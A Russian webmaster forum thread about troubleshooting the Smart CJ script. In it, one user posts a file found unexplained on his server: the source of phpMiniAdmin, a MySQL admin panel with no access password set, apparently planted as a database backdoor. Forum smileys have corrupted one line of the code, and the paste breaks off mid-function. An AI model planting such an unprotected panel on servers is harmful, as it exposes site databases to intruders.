Master-X
Форум | Новости | Статьи
Главная » Форум » CJs » 
Тема: Smart CJ для тупых :)
цитата
13/11/13 в 14:56
 LemonS
Дрон: а без кеша ?

что в логе на граб этой гали ?
цитата
13/11/13 в 16:58
 Дрон
LemonS:
1) Да вот со скип_кэшем и пробовали... Сейчас вроде все нормально icon_rolleyes.gif
2) В content_graber.log урлов таких вообще нету. Правда вот в rot.log какие то странные дела происходят:
2013-11-13 13:40 Deleting thumb 19099 (1.4262909889221, 0.0027840137481689)
2013-11-13 13:40 Delete gallery content (1.4372708797455, 0.010979890823364)
2013-11-13 13:40 Deleting thumb 19100 (1.4406189918518, 0.0033481121063232)
2013-11-13 13:40 Delete gallery content (1.4435517787933, 0.0029327869415283)
...

И так много-много записей.
цитата
14/11/13 в 00:09
 Flesh
LemonS писал:
Flesh: ок, скидывайте файлы если хотите, но если вы их не создавали то лучше просто удалить.

Удалил. На работоспособность сайта вроде не повлияло.
Но остался один неразрешимый пока вопрос. Откуда эти файлы там взялись? icon_smile.gif
цитата
14/11/13 в 01:21
 S_Flash
Flesh: Молодец, что удалил! smail54.gif Теперь на твой вопрос о том, что за файлы и откуда ответить в разы легче.
Всё, что надо было сделать - это скопировать и дать посмотреть кому-то или хоть несколько строк начала содержимого файлов тут выложить.
цитата
14/11/13 в 04:26
 LemonS
Дрон писал:
LemonS:
2) В content_graber.log урлов таких вообще нету. Правда вот в rot.log какие то странные дела происходят:
2013-11-13 13:40 Deleting thumb 19099
И так много-много записей.


Может галеры были ранее добавлены и уже обрезался лог.
Добавьте одну например и через пару минут можете проверить.

Записи нормальные - удаление отмеченных для удаления тумб.
цитата
14/11/13 в 04:27
 LemonS
Flesh писал:
Удалил. На работоспособность сайта вроде не повлияло.
Но остался один неразрешимый пока вопрос. Откуда эти файлы там взялись? :)


Я не знаю.
У админа намного больше возможностей это выяснить нежели у меня по форуму.
цитата
14/11/13 в 10:09
 Flesh
S_Flash писал:
Flesh: Молодец, что удалил! smail54.gif Теперь на твой вопрос о том, что за файлы и откуда ответить в разы легче.
Всё, что надо было сделать - это скопировать и дать посмотреть кому-то или хоть несколько строк начала содержимого файлов тут выложить.

С сервера я удалил, но у себя-то оставил. icon_wink.gif

mini.php

<?php
/*
PHP Mini MySQL Admin
(c) 2004-2012 Oleg Savchuk <osalabs@gmail.com> http://osalabs.com

Light standalone PHP script for quick and easy access MySQL databases.
http://phpminiadmin.sourceforge.net

Dual licensed: GPL v2 and MIT, see texts at http://opensource.org/licenses/
*/

$ACCESS_PWD=''; #!!!IMPORTANT!!! this is script access password, SET IT if you want to protect you DB from public access

#DEFAULT db connection settings
# --- WARNING! --- if you set defaults - it's recommended to set $ACCESS_PWD to protect your db!
$DBDEF=array(
'user'=>"",#required
'pwd'=>"", #required
'db'=>"",  #optional, default DB
'host'=>"",#optional
'port'=>"",#optional
'chset'=>"utf8",#optional, default charset
);
date_default_timezone_set('UTC');#required by PHP 5.1+

//constants
$VERSION='1.8.120510';
$MAX_ROWS_PER_PAGE=50; #max number of rows in select per one page
$D="\r\n"; #default delimiter for export
$BOM=chr(239).chr(187).chr(191);
$SHOW_T="SHOW TABLE STATUS";
$DB=array(); #working copy for DB settings

$self=$_SERVER['PHP_SELF'];

session_start();
if (!isset($_SESSION['XSS'])) $_SESSION['XSS']=get_rand_str(16);
$xurl='XSS='.$_SESSION['XSS'];

ini_set('display_errors',1);  #TODO turn off before deploy
error_reporting(E_ALL ^ E_NOTICE);

//strip quotes if they set
if (get_magic_quotes_gpc()){
  $_COOKIE=array_map('killmq',$_COOKIE);
  $_REQUEST=array_map('killmq',$_REQUEST);
}

if (!$ACCESS_PWD) {
    $_SESSION['is_logged']=true;
    loadcfg();
}

if ($_REQUEST['login']){
    if ($_REQUEST['pwd']!=$ACCESS_PWD){
       $err_msg="Invalid password. Try again";
    }else{
       $_SESSION['is_logged']=true;
       loadcfg();
    }
}

if ($_REQUEST['logoff']){
    check_xss();
    $_SESSION = array();
    savecfg();
    session_destroy();
    $url=$self;
    if (!$ACCESS_PWD) $url='/';
    header("location: $url");
    exit;
}

if (!$_SESSION['is_logged']){
    print_login();
    exit;
}

if ($_REQUEST['savecfg']){
    check_xss();
    savecfg();
}

loadsess();

if ($_REQUEST['showcfg']){
    print_cfg();
    exit;
}

//get initial values
$SQLq=trim($_REQUEST['q']);
$page=$_REQUEST['p']+0;
if ($_REQUEST['refresh'] && $DB['db'] && preg_match('/^show/',$SQLq) ) $SQLq=$SHOW_T;

if (db_connect('nodie')){
    $time_start=microtime_float();

    if ($_REQUEST['phpinfo']){
       ob_start();phpinfo();$sqldr='<div style="font-size:130%">'.ob_get_clean().'</div>';
    }else{
     if ($DB['db']){
      if ($_REQUEST['shex']){
       print_export();
      }elseif ($_REQUEST['doex']){
       check_xss();do_export();
      }elseif ($_REQUEST['shim']){
       print_import();
      }elseif ($_REQUEST['doim']){
       check_xss();do_import();
      }elseif ($_REQUEST['dosht']){
       check_xss();do_sht();
      }elseif (!$_REQUEST['refresh'] || preg_match('/^select|show|explain|desc/i',$SQLq) ){
       if ($SQLq)check_xss();
       do_sql($SQLq);#perform non-select SQL only if not refresh (to avoid dangerous delete/drop)
      }
     }else{
        if ( $_REQUEST['refresh'] ){
           check_xss();do_sql('show databases');
        }elseif ( preg_match('/^show\s+(?:databases|status|variables|process)/i',$SQLq) ){
           check_xss();do_sql($SQLq);
        }else{
           $err_msg="Select Database first";
           if (!$SQLq) do_sql("show databases");
        }
     }
    }
    $time_all=ceil((microtime_float()-$time_start)*10000)/10000;

    print_screen();
}else{
    print_cfg();
}

function do_sql($q){
global $dbh,$last_sth,$last_sql,$reccount,$out_message,$SQLq,$SHOW_T;
$SQLq=$q;

if (!do_multi_sql($q)){
    $out_message="Error: ".mysql_error($dbh);
}else{
    if ($last_sth && $last_sql){
       $SQLq=$last_sql;
       if (preg_match("/^select|show|explain|desc/i",$last_sql)) {
          if ($q!=$last_sql) $out_message="Results of the last select displayed:";
          display_select($last_sth,$last_sql);
       } else {
         $reccount=mysql_affected_rows($dbh);
         $out_message="Done.";
         if (preg_match("/^insert|replace/i",$last_sql)) $out_message.=" Last inserted id=".get_identity();
         if (preg_match("/^drop|truncate/i",$last_sql)) do_sql($SHOW_T);
       }
    }
}
}

function display_select($sth,$q){
global $dbh,$DB,$sqldr,$reccount,$is_sht,$xurl;
$rc=array("o","e");
$dbn=$DB['db'];
$sqldr='';

$is_shd=(preg_match('/^show\s+databases/i',$q));
$is_sht=(preg_match('/^show\s+tables|^SHOW\s+TABLE\s+STATUS/',$q));
$is_show_crt=(preg_match('/^show\s+create\s+table/i',$q));

if ($sth===FALSE or $sth===TRUE) return;#check if $sth is not a mysql resource

$reccount=mysql_num_rows($sth);
$fields_num=mysql_num_fields($sth);

$w='';
if ($is_sht || $is_shd) {$w='wa';
   $url='?'.$xurl."&db=$dbn";
   $sqldr.="<div class='dot'>
&nbsp;MySQL Server:
&nbsp;&#183;<a href='$url&q=show+variables'>Show Configuration Variables</a>
&nbsp;&#183;<a href='$url&q=show+status'>Show Statistics</a>
&nbsp;&#183;<a href='$url&q=show+processlist'>Show Processlist</a>
<br>";
   if ($is_sht) $sqldr.="&nbsp;Database:&nbsp;&#183;<a href='$url&q=show+table+status'>Show Table Status</a>";
   $sqldr.="</div>";
}
if ($is_sht){
   $abtn="&nbsp;<input type='submit' value='Export' onclick=\"sht('exp')\">
<input type='submit' value='Drop' onclick=\"if(ays()){sht('drop')}else{return false}\">
<input type='submit' value='Truncate' onclick=\"if(ays()){sht('trunc')}else{return false}\">
<input type='submit' value='Optimize' onclick=\"sht('opt')\">
<b>selected tables</b>";
   $sqldr.=$abtn."<input type='hidden' name='dosht' value=''>";
}

$sqldr.="<table class='res $w'>";
$headers="<tr class='h'>";
if ($is_sht) $headers.="<td><input type='checkbox' name='cball' value='' onclick='chkall(this)'></td>";
for($i=0;$i<$fields_num;$i++){
    if ($is_sht && $i>0) break;
    $meta=mysql_fetch_field($sth,$i);
    $headers.="<th>".$meta->name."</th>";
}
if ($is_shd) $headers.="<th>show create database</th><th>show table status</th><th>show triggers</th>";
if ($is_sht) $headers.="<th>engine</th><th>~rows</th><th>data size</th><th>index size</th><th>show create table</th><th>explain</th><th>indexes</th><th>export</th><th>drop</th><th>truncate</th><th>optimize</th><th>repair</th>";
$headers.="</tr>\n";
$sqldr.=$headers;
$swapper=false;
while($row=mysql_fetch_row($sth)){
   $sqldr.="<tr class='".$rc[$swp=!$swp]."' onmouseover='tmv(this)' onmouseout='tmo(this)' onclick='tc(this)'>";
   for($i=0;$i<$fields_num;$i++){
      $v=$row[$i];$more='';
      if ($is_sht && $v){
         if ($i>0) break;
         $vq='`'.$v.'`';
         $url='?'.$xurl."&db=$dbn";
         $v="<input type='checkbox' name='cb[]' value=\"$vq\"></td>"
         ."<td><a href=\"$url&q=select+*+from+$vq\">$v</a></td>"
         ."<td>".$row[1]."</td>"
         ."<td align='right'>".$row[4]."</td>"
         ."<td align='right'>".$row[6]."</td>"
         ."<td align='right'>".$row[8]."</td>"
         ."<td>&#183;<a href=\"$url&q=show+create+table+$vq\">sct</a></td>"
         ."<td>&#183;<a href=\"$url&q=explain+$vq\">exp</a></td>"
         ."<td>&#183;<a href=\"$url&q=show+index+from+$vq\">ind</a></td>"
         ."<td>&#183;<a href=\"$url&shex=1&t=$vq\">export</a></td>"
         ."<td>&#183;<a href=\"$url&q=drop+table+$vq\" onclick='return ays()'>dr</a></td>"
         ."<td>&#183;<a href=\"$url&q=truncate+table+$vq\" onclick='return ays()'>tr</a></td>"
         ."<td>&#183;<a href=\"$url&q=optimize+table+$vq\" onclick='return ays()'>opt</a></td>"
         ."<td>&#183;<a href=\"$url&q=repair+table+$vq\" onclick='return ays()'>rpr</a>";
      }elseif ($is_shd && $i==0 && $v){
         $url='?'.$xurl."&db=$v";
         $v="<a href=\"$url&q=SHOW+TABLE+STATUS\">$v</a></td>"
         ."<td><a href=\"$url&q=show+create+database+`$v`\">sct</a></td>"
         ."<td><a href=\"$url&q=show+table+status\">status</a></td>"
         ."<td><a href=\"$url&q=show+triggers\">trig</a></td>"
         ;
      }else{
       if (is_null($v)) $v="NULL";
       $v=htmlspecialchars($v);
      }
      if ($is_show_crt) $v="<pre>$v</pre>";
      $sqldr.="<td>$v".(!strlen($v)?"<br>":'')."</td>";
   }
   $sqldr.="</tr>\n";
}
$sqldr.="</table>\n".$abtn;

}

function print_header(){
global $err_msg,$VERSION,$DB,$dbh,$self,$is_sht,$xurl,$SHOW_T;
$dbn=$DB['db'];
?>
<!DOCTYPE html>
<html>
<head><title>phpMiniAdmin</title>
<meta charset="utf-8">
<style type="text/css">
body{font-family:Arial,sans-serif;font-size:80%;padding:0;margin:0}
th,td{padding:0;margin:0}
div{padding:3px}
pre{font-size:125%}
.nav{text-align:center}
.ft{text-align:right;margin-top:20px;font-size:smaller}
.inv{background-color:#069;color:#FFF}
.inv a{color:#FFF}
table.res{width:100%;border-collapse:collapse;}
table.wa{width:auto}
table.res th,table.res td{padding:2px;border:1px solid #fff}
table.restr{vertical-align:top}
tr.e{background-color:#CCC}
tr.o{background-color:#EEE}
tr.h{background-color:#99C}
tr.s{background-color:#FF9}
.err{color:#F33;font-weight:bold;text-align:center}
.frm{width:400px;border:1px solid #999;background-color:#eee;text-align:left}
.frm label.l{width:100px;float:left}
.dot{border-bottom:1px dotted #000}
.ajax{text-decoration: none;border-bottom: 1px dashed;}
.qnav{width:30px}
</style>

<script type="text/javascript">
var LSK='pma_',LSKX=LSK+'max',LSKM=LSK+'min',qcur=0,LSMAX=32;

function $(i){return document.getElementById(i)}
function frefresh(){
var F=document.DF;
F.method='get';
F.refresh.value="1";
F.submit();
}
function go(p,sql){
var F=document.DF;
F.p.value=p;
if(sql)F.q.value=sql;
F.submit();
}
function ays(){
return confirm('Are you sure to continue?');
}
function chksql(){
var F=document.DF,v=F.q.value;
if(/^\s*(?:delete|drop|truncate|alter)/.test(v)) if(!ays())return false;
if(lschk(1)){
  var lsm=lsmax()+1,ls=localStorage;
  ls[LSK+lsm]=v;
  ls[LSKX]=lsm;
  //keep just last LSMAX queries in log
  if(!ls[LSKM])ls[LSKM]=1;
  var lsmin=parseInt(ls[LSKM]);
  if((lsm-lsmin+1)>LSMAX){
   lsclean(lsmin,lsm-LSMAX);
  }
}
return true;
}
function tmv(tr){
tr.sc=tr.className;
tr.className='h';
}
function tmo(tr){
tr.className=tr.sc;
}
function tc(tr){
tr.className='s';
tr.sc='s';
}
function lschk(skip){
if (!localStorage || !skip && !localStorage[LSKX]) return false;
return true;
}
function lsmax(){
var ls=localStorage;
if(!lschk() || !ls[LSKX])return 0;
return parseInt(ls[LSKX]);
}
function lsclean(from,to){
ls=localStorage;
for(var i=from;i<=to;i++){
  delete ls[LSK+i];ls[LSKM]=i+1;
}
}
function q_prev(){
var ls=localStorage;
if(!lschk())return;
qcur--;
var x=parseInt(ls[LSKM]);
if(qcur<x)qcur=x;
$('q').value=ls[LSK+qcur];
}
function q_next(){
var ls=localStorage;
if(!lschk())return;
qcur++;
var x=parseInt(ls[LSKX]);
if(qcur>x)qcur=x;
$('q').value=ls[LSK+qcur];
}
function after_load(){
qcur=lsmax();
}
function logoff(){
if(lschk()){
  var ls=localStorage;
  var from=parseInt(ls[LSKM]),to=parseInt(ls[LSKX]);
  for(var i=from;i<=to;i++){
   delete ls[LSK+i];
  }
  delete ls[LSKM];delete ls[LSKX];
}
}
function cfg_toggle(){
var e=$('cfg-adv');
e.style.display=e.style.display=='none'?'':'none';
}
<?php if($is_sht){?>
function chkall(cab){
var e=document.DF.elements;
if (e!=null){
  var cl=e.length;
  for (i=0;i<cl;i++){var m=e[i];if(m.checked!=null && m.type=="checkbox"){m.checked=cab.checked}}
}
}
function sht(f){
document.DF.dosht.value=f;
}
<?php }?>
</script>

</head>
<body onload="after_load()">
<form method="post" name="DF" action="<?php echo $self?>" enctype="multipart/form-data">
<input type="hidden" name="XSS" value="<?php echo $_SESSION['XSS']?>">
<input type="hidden" name="refresh" value="">
<input type="hidden" name="p" value="">

<div class="inv">
<a href="http://phpminiadmin.sourceforge.net/" target="_blank"><b>phpMiniAdmin <?php echo $VERSION?></b></a>
<?php if ($_SESSION['is_logged'] && $dbh){ ?>
| <a href="?<?php echo $xurl?>&q=show+databases">Databases</a>: <select name="db" onChange="frefresh()"><option value='*'> - select/refresh -</option><option value=''> - show all -</option><?php echo get_db_select($dbn)?></select>
<?php if($dbn){ $z=" &#183; <a href='$self?$xurl&db=$dbn"; ?>
<?php echo $z.'&q='.urlencode($SHOW_T)?>'>show tables</a>
<?php echo $z?>&shex=1'>export</a>
<?php echo $z?>&shim=1'>import</a>
<?php } ?>
| <a href="?showcfg=1">Settings</a>
<?php } ?>
<?php if ($GLOBALS['ACCESS_PWD']){?> | <a href="?<?php echo $xurl?>&logoff=1" onclick="logoff()">Logoff</a> <?php }?>
| <a href="?phpinfo=1">phpinfo</a>
</div>

<div class="err"><?php echo $err_msg?></div>

<?php
}

function print_screen(){
global $out_message, $SQLq, $err_msg, $reccount, $time_all, $sqldr, $page, $MAX_ROWS_PER_PAGE, $is_limited_sql;

$nav='';
if ($is_limited_sql && ($page || $reccount>=$MAX_ROWS_PER_PAGE) ){
  $nav="<div class='nav'>".get_nav($page, 10000, $MAX_ROWS_PER_PAGE, "javascript:go(%p%)")."</div>";
}

print_header();
?>

<div class="dot" style="padding:0 0 5px 20px">
SQL-query (or multiple queries separated by ";"):&nbsp;<button type="button" class="qnav" onclick="q_prev()">&lt;</button><button type="button" class="qnav" onclick="q_next()">&gt;</button><br>
<textarea id="q" name="q" cols="70" rows="10" style="width:98%"><?php echo $SQLq?></textarea><br>
<input type="submit" name="GoSQL" value="Go" onclick="return chksql()" style="width:100px">&nbsp;&nbsp;
<input type="button" name="Clear" value=" Clear " onclick="document.DF.q.value=''" style="width:100px">
</div>

<div class="dot" style="padding:5px 0 5px 20px">
Records: <b><?php echo $reccount?></b> in <b><?php echo $time_all?></b> sec<br>
<b><?php echo $out_message?></b>
</div>
<div class="sqldr">
<?php echo $nav.$sqldr.$nav; ?>
</div>
<?php
print_footer();
}

function print_footer(){
?>
</form>
<div class="ft">
&copy; 2004-2012 <a href="http://osalabs.com" target="_blank">Oleg Savchuk</a>
</div>
</body></html>
<?php
}

function print_login(){
print_header();
?>
<center>
<h3>Access protected by password</h3>
<div style="width:400px;border:1px solid #999999;background-color:#eeeeee">
Password: <input type="password" name="pwd" value="">
<input type="hidden" name="login" value="1">
<input type="submit" value=" Login ">
</div>
</center>
<?php
print_footer();
}


function print_cfg(){
global $DB,$err_msg,$self;
print_header();
?>
<center>
<h3>DB Connection Settings</h3>
<div class="frm">
<label class="l">DB user name:</label><input type="text" name="v[user]" value="<?php echo $DB['user']?>"><br>
<label class="l">Password:</label><input type="password" name="v[pwd]" value=""><br>
<div style="text-align:right"><a href="#" class="ajax" onclick="cfg_toggle()">advanced settings</a></div>
<div id="cfg-adv" style="display:none;">
<label class="l">DB name:</label><input type="text" name="v[db]" value="<?php echo $DB['db']?>"><br>
<label class="l">MySQL host:</label><input type="text" name="v[host]" value="<?php echo $DB['host']?>"> port: <input type="text" name="v[port]" value="<?php echo $DB['port']?>" size="4"><br>
<label class="l">Charset:</label><select name="v[chset]"><option value="">- default -</option><?php echo chset_select($DB['chset'])?></select><br>
<br><input type="checkbox" name="rmb" value="1" checked> Remember in cookies for 30 days
</div>
<center>
<input type="hidden" name="savecfg" value="1">
<input type="submit" value=" Apply "><input type="button" value=" Cancel " onclick="window.location='<?php echo $self?>'">
</center>
</div>
</center>
<?php
print_footer();
}


//* utilities
function db_connect($nodie=0){
global $dbh,$DB,$err_msg;

$dbh=@mysql_connect($DB['host'].($DB['port']?":$DB[port]":''),$DB['user'],$DB['pwd']);
if (!$dbh) {
    $err_msg='Cannot connect to the database because: '.mysql_error();
    if (!$nodie) die($err_msg);
}

if ($dbh && $DB['db']) {
  $res=mysql_select_db($DB['db'], $dbh);
  if (!$res) {
     $err_msg='Cannot select db because: '.mysql_error();
     if (!$nodie) die($err_msg);
  }else{
     if ($DB['chset']) db_query("SET NAMES ".$DB['chset']);
  }
}

return $dbh;
}

function db_checkconnect($dbh1=NULL, $skiperr=0){
global $dbh;
if (!$dbh1) $dbh1=&$dbh;
if (!$dbh1 or !mysql_ping($dbh1)) {
    db_connect($skiperr);
    $dbh1=&$dbh;
}
return $dbh1;
}

function db_disconnect(){
global $dbh;
mysql_close($dbh);
}

function dbq($s){
global $dbh;
if (is_null($s)) return "NULL";
return "'".mysql_real_escape_string($s,$dbh)."'";
}

function db_query($sql, $dbh1=NULL, $skiperr=0){
$dbh1=db_checkconnect($dbh1, $skiperr);
$sth=@mysql_query($sql, $dbh1);
if (!$sth && $skiperr) return;
if (!$sth) die("Error in DB operation:<br>\n".mysql_error($dbh1)."<br>\n$sql");
return $sth;
}

function db_array($sql, $dbh1=NULL, $skiperr=0, $isnum=0){#array of rows
$sth=db_query($sql, $dbh1, $skiperr);
if (!$sth) return;
$res=array();
if ($isnum){
   while($row=mysql_fetch_row($sth)) $res[]=$row;
}else{
   while($row=mysql_fetch_assoc($sth)) $res[]=$row;
}
return $res;
}

function db_row($sql){
$sth=db_query($sql);
return mysql_fetch_assoc($sth);
}

function db_value($sql){
$sth=db_query($sql);
$row=mysql_fetch_row($sth);
return $row[0];
}

function get_identity($dbh1=NULL){
$dbh1=db_checkconnect($dbh1);
return mysql_insert_id($dbh1);
}

function get_db_select($sel=''){
global $DB;
if (is_array($_SESSION['sql_sd']) && $_REQUEST['db']!='*'){//check cache
    $arr=$_SESSION['sql_sd'];
}else{
   $arr=db_array("show databases",NULL,1);
   if (!is_array($arr)){
      $arr=array( 0 => array('Database' => $DB['db']) );
    }
   $_SESSION['sql_sd']=$arr;
}
return @sel($arr,'Database',$sel);
}

function chset_select($sel=''){
global $DBDEF;
$result='';
if ($_SESSION['sql_chset']){
    $arr=$_SESSION['sql_chset'];
}else{
   $arr=db_array("show character set",NULL,1);
   if (!is_array($arr)) $arr=array(array('Charset'=>$DBDEF['chset']));
   $_SESSION['sql_chset']=$arr;
}

return @sel($arr,'Charset',$sel);
}

function sel($arr,$n,$sel=''){
foreach($arr as $a){
#   echo $a[0];
   $b=$a[$n];
   $res.="<option value='$b' ".($sel && $sel==$b?'selected':'').">$b</option>";
}
return $res;
}

function microtime_float(){
list($usec,$sec)=explode(" ",microtime());
return ((float)$usec+(float)$sec);
}

/* page nav
$pg=int($_[0]);     #current page
$all=int($_[1]);     #total number of items
$PP=$_[2];      #number if items Per Page
$ptpl=$_[3];      #page url /ukr/dollar/notes.php?page=    for notes.php
$show_all=$_[5];           #print Totals?
*/
function get_nav($pg, $all, $PP, $ptpl, $show_all=''){
  $n='&nbsp;';
  $sep=" $n|$n\n";
  if (!$PP) $PP=10;
  $allp=floor($all/$PP+0.999999);

  $pname='';
  $res='';
  $w=array('Less','More','Back','Next','First','Total');

  $sp=$pg-2;
  if($sp<0) $sp=0;
  if($allp-$sp<5 && $allp>=5) $sp=$allp-5;

  $res="";

  if($sp>0){
    $pname=pen($sp-1,$ptpl);
    $res.="<a href='$pname'>$w[0]</a>";
    $res.=$sep;
  }
  for($p_p=$sp;$p_p<$allp && $p_p<$sp+5;$p_p++){
     $first_s=$p_p*$PP+1;
     $last_s=($p_p+1)*$PP;
     $pname=pen($p_p,$ptpl);
     if($last_s>$all){
       $last_s=$all;
     }
     if($p_p==$pg){
        $res.="<b>$first_s..$last_s</b>";
     }else{
        $res.="<a href='$pname'>$first_s..$last_s</a>";
     }
     if($p_p+1<$allp) $res.=$sep;
  }
  if($sp+5<$allp){
    $pname=pen($sp+5,$ptpl);
    $res.="<a href='$pname'>$w[1]</a>";
  }
  $res.=" <br>\n";

  if($pg>0){
    $pname=pen($pg-1,$ptpl);
    $res.="<a href='$pname'>$w[2]</a> $n|$n ";
    $pname=pen(0,$ptpl);
    $res.="<a href='$pname'>$w[4]</a>";
  }
  if($pg>0 && $pg+1<$allp) $res.=$sep;
  if($pg+1<$allp){
    $pname=pen($pg+1,$ptpl);
    $res.="<a href='$pname'>$w[3]</a>";
  }
  if ($show_all) $res.=" <b>($w[5] - $all)</b> ";

  return $res;
}

function pen($p,$np=''){
return str_replace('%p%',$p, $np);
}

function killmq($value){
return is_array($value)?array_map('killmq',$value):stripslashes($value);
}

function savecfg(){
$v=$_REQUEST['v'];
$_SESSION['DB']=$v;
unset($_SESSION['sql_sd']);

if ($_REQUEST['rmb']){
    $tm=time()+60*60*24*30;
    setcookie("conn[db]",  $v['db'],$tm);
    setcookie("conn[user]",$v['user'],$tm);
    setcookie("conn[pwd]", $v['pwd'],$tm);
    setcookie("conn[host]",$v['host'],$tm);
    setcookie("conn[port]",$v['port'],$tm);
    setcookie("conn[chset]",$v['chset'],$tm);
}else{
    setcookie("conn[db]",  FALSE,-1);
    setcookie("conn[user]",FALSE,-1);
    setcookie("conn[pwd]", FALSE,-1);
    setcookie("conn[host]",FALSE,-1);
    setcookie("conn[port]",FALSE,-1);
    setcookie("conn[chset]",FALSE,-1);
}
}

//during login only - from cookies or use defaults;
function loadcfg(){
global $DBDEF;

if( isset($_COOKIE['conn']) ){
    $a=$_COOKIE['conn'];
    $_SESSION['DB']=$_COOKIE['conn'];
}else{
    $_SESSION['DB']=$DBDEF;
}
if (!strlen($_SESSION['DB']['chset'])) $_SESSION['DB']['chset']=$DBDEF['chset'];#don't allow empty charset
}

//each time - from session to $DB_*
function loadsess(){
global $DB;

$DB=$_SESSION['DB'];

$rdb=$_REQUEST['db'];
if ($rdb=='*') $rdb='';
if ($rdb) {
    $DB['db']=$rdb;
}
}

function print_export(){
global $self,$xurl,$DB;
$t=$_REQUEST['t'];
$l=($t)?"Table $t":"whole DB";
print_header();
?>
<center>
<h3>Export <?php echo $l?></h3>
<div class="frm">
<input type="checkbox" name="s" value="1" checked> Structure<br>
<input type="checkbox" name="d" value="1" checked> Data<br><br>
<div><label><input type="radio" name="et" value="" checked> .sql</label>&nbsp;</div>
<div>
<?php if ($t && !strpos($t,',')){?>
<label><input type="radio" name="et" value="csv"> .csv (Excel style, data only and for one table only)</label>
<?php }else{?>
<label>&nbsp;( ) .csv</label> <small>(to export as csv - go to 'show tables' and export just ONE table)</small>
<?php }?>
</div>
<br>
<div><label><input type="checkbox" name="gz" value="1"> compress as .gz</label></div>
<br>
<input type="hidden" name="doex" value="1">
<input type="hidden" name="t" value="<?php echo $t?>">
<input type="submit" value=" Download "><input type="button" value=" Cancel " onclick="window.location='<?php echo $self.'?'.$xurl.'&db='.$DB['db']?>'">
</div>
</center>
<?php
print_footer();
exit;
}

function do_export(){
global $DB,$VERSION,$D,$BOM,$ex_isgz;
$rt=str_replace('`','',$_REQUEST['t']);
$t=explode(",",$rt);
$th=array_flip($t);
$ct=count($t);
$z=db_row("show variables like 'max_allowed_packet'");
$MAXI=floor($z['Value']*0.8);
if(!$MAXI)$MAXI=838860;
$aext='';$ctp='';

$ex_isgz=($_REQUEST['gz'])?1:0;
if ($ex_isgz) {
    $aext='.gz';$ctp='application/x-gzip';
}
ex_start();

if ($ct==1&&$_REQUEST['et']=='csv'){
  ex_hdr($ctp?$ctp:'text/csv',"$t[0].csv$aext");
  if ($DB['chset']=='utf8') ex_end($BOM);

  $sth=db_query("select * from `$t[0]`");
  $fn=mysql_num_fields($sth);
  for($i=0;$i<$fn;$i++){
   $m=mysql_fetch_field($sth,$i);
   ex_w(qstr($m->name).(($i<$fn-1)?",":""));
  }
  ex_w($D);
  while($row=mysql_fetch_row($sth)) ex_w(to_csv_row($row));
  ex_end();
  exit;
}

ex_hdr($ctp?$ctp:'text/plain',"$DB[db]".(($ct==1&&$t[0])?".$t[0]"icon_sad.gif($ct>1)?'.'.$ct.'tables':'')).".sql$aext");
ex_w("-- phpMiniAdmin dump $VERSION$D-- Datetime: ".date('Y-m-d H:i:s')."$D-- Host: $DB[host]$D-- Database: $DB[db]$D$D");
ex_w("/*!40030 SET NAMES $DB[chset] */;$D/*!40030 SET GLOBAL max_allowed_packet=16777216 */;$D$D");

$sth=db_query("show tables from `$DB[db]`");
while($row=mysql_fetch_row($sth)){
   if (!$rt||array_key_exists($row[0],$th)) do_export_table($row[0],1,$MAXI);
}

ex_w("$D-- phpMiniAdmin dump end$D");
ex_end();
exit;
}

function do_export_table($t='',$isvar=0,$MAXI=838860){
global $D;
set_time_limit(600);

if($_REQUEST['s']){
  $sth=db_query("show create table `$t`");
  $row=mysql_fetch_row($sth);
  $ct=preg_replace("/\n\r|\r\n|\n|\r/",$D,$row[1]);
  ex_w("DROP TABLE IF EXISTS `$t`;$D$ct;$D$D");
}

if ($_REQUEST['d']){
  $exsql='';
  ex_w("/*!40000 ALTER TABLE `$t` DISABLE KEYS */;$D");
  $sth=db_query("select * from `$t`");
  while($row=mysql_fetch_row($sth)){
    $values='';
    foreach($row as $v) $values.=(($values)?',':'').dbq($v);
    $exsql.=(($exsql)?',':'')."(".$values.")";
    if (strlen($exsql)>$MAXI) {
       ex_w("INSERT INTO `$t` VALUES $exsql;$D");$exsql='';
    }
  }
  if ($exsql) ex_w("INSERT INTO `$t` VALUES $exsql;$D");
  ex_w("/*!40000 ALTER TABLE `$t` ENABLE KEYS */;$D$D");
}
flush();
}

function ex_hdr($ct,$fn){
header("Content-type: $ct");
header("Content-Disposition: attachment; filename=\"$fn\"");
}
function ex_start(){
global $ex_isgz,$ex_gz,$ex_tmpf;
if ($ex_isgz){
    $ex_tmpf=tempnam(sys_get_temp_dir(),'pma').'.gz';
    if (!($ex_gz=gzopen($ex_tmpf,'wb9'))) die("Error trying to create gz tmp file");
}
}
function ex_w($s){
global $ex_isgz,$ex_gz;
if ($ex_isgz){
    gzwrite($ex_gz,$s,strlen($s));
}else{
    echo $s;
}
}
function ex_end(){
global $ex_isgz,$ex_gz,$ex_tmpf;
if ($ex_isgz){
    gzclose($ex_gz);
    readfile($ex_tmpf);
}
}

function print_import(){
global $self,$xurl,$DB;
print_header();
?>
<center>
<h3>Import DB</h3>
<div class="frm">
<b>.sql</b> or <b>.gz</b> file: <input type="file" name="file1" value="" size=40><br>
<input type="hidden" name="doim" value="1">
<input type="submit" value=" Upload and Import " onclick="return ays()"><input type="button" value=" Cancel " onclick="window.location='<?php echo $self.'?'.$xurl.'&db='.$DB['db']?>'">
</div>
<br><br><br>
<!--
<h3>Import one Table from CSV</h3>
<div class="frm">
.csv file (Excel style): <input type="file" name="file2" value="" size=40><br>
<input type="checkbox" name="r1" value="1" checked> first row contain field names<br>
<small>(note: for success, field names should be exactly the same as in DB)</small><br>
Character set of the file: <select name="chset"><?php echo chset_select('utf8')?></select>
<br><br>
Import into:<br>
<input type="radio" name="tt" value="1" checked="checked"> existing table:
<select name="t">
<option value=''>- select -</option>
<?php echo sel(db_array('show tables',NULL,0,1), 0, ''); ?>
</select>
<div style="margin-left:20px">
<input type="checkbox" name="ttr" value="1"> replace existing DB data<br>
<input type="checkbox" name="tti" value="1"> ignore duplicate rows
</div>
<input type="radio" name="tt" value="2"> create new table with name <input type="text" name="tn" value="" size="20">
<br><br>
<input type="hidden" name="doimcsv" value="1">
<input type="submit" value=" Upload and Import " onclick="return ays()"><input type="button" value=" Cancel " onclick="window.location='<?php echo $self?>'">
</div>
-->
</center>
<?php
print_footer();
exit;
}

function do_import(){
global $err_msg,$out_message,$dbh,$SHOW_T;
$err_msg='';
$F=$_FILES['file1'];

if ($F && $F['name']){
  $filename=$F['tmp_name'];
  $pi=pathinfo($F['name']);
  if ($pi['extension']!='sql'){//if not sql - assume .gz
     $tmpf=tempnam(sys_get_temp_dir(),'pma');
